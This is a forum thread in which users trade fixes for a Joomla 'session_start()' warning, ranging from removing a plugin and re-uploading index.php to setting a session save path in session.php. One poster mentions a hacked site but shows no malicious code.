Warning: session_start() [function.session-start]:

[nuwud]

For me it was dropping an SEO plugin from my jos_plugins db.

I tried everything else, too and nothing had worked until I dropped that table.

the saving conf.php as a ANSI type worked for me!! thanks!

[bossman42]

index.php did it for me. One extra line at the bottom of the code. I look like a freakin genius to my client. hehehe

Thanks for keeping this thread going!

I have tried just about everything and continue to have the same problem. I have no idea what to do.

Try disabling plugins and modules that display on your home page, one at a time, and test to see if one of them is the issue.

Have you tried uploading a new copy of the
administrator/index.php
file?
Use a FTP program like FileZilla to upload the file, using a program like Dreamweaver to upload can cause problems.

Hello

I know this is quite an old thread, but I had the same problem on a client's site, which turned out to have been hacked. The hackers had overwritten some files in the 'includes' directory, and also in the 'modules' directory, and had added some files in the root. Also, the index.php file in the root had been deleted.

The hack was not obvious, and hadn't damaged or changed the way the site worked, so all the normal fixes didn't do anything. Some of the hackers' files had base64 encoding, of course, but I haven't fully checked out what they were up to. They were Indonesia hackers, (or maybe just some script-kiddies) and I blocked all Indonesian IP's via htaccess. Time to upgrade Joomla (1.52) it seems.

The problem of your index.php file, as the error message states. However, all current Joomla! versions have comments of their index.php, so it is most likely not the original file. It is impossible to get closer to it without source code.

Its a permission error. Contact your hosting telling them the errors you get with session.php
Godd luck!

Its not every time a permission error. And is better (and faster) to fix error yourself.

I got the same error about session start in /public_html/libraries/joomla/session/session.php --- so, we can't install latest Joomla 3 on tsohost cloud host. This happened also on other hosts, so I will post here solution to help all these people with problems like my.

How we solved this? Quick solution (about 30 seconds, one edited php file):

1. Open /public_html/libraries/joomla/session/session.php
- about line 658 in latest Joomla 3.4 you will find:

Code: Select all

session_start();

Add before this line:

Code: Select all

session_save_path("/tmp");

to look like this:

Code: Select all

session_save_path("/tmp");
session_start();
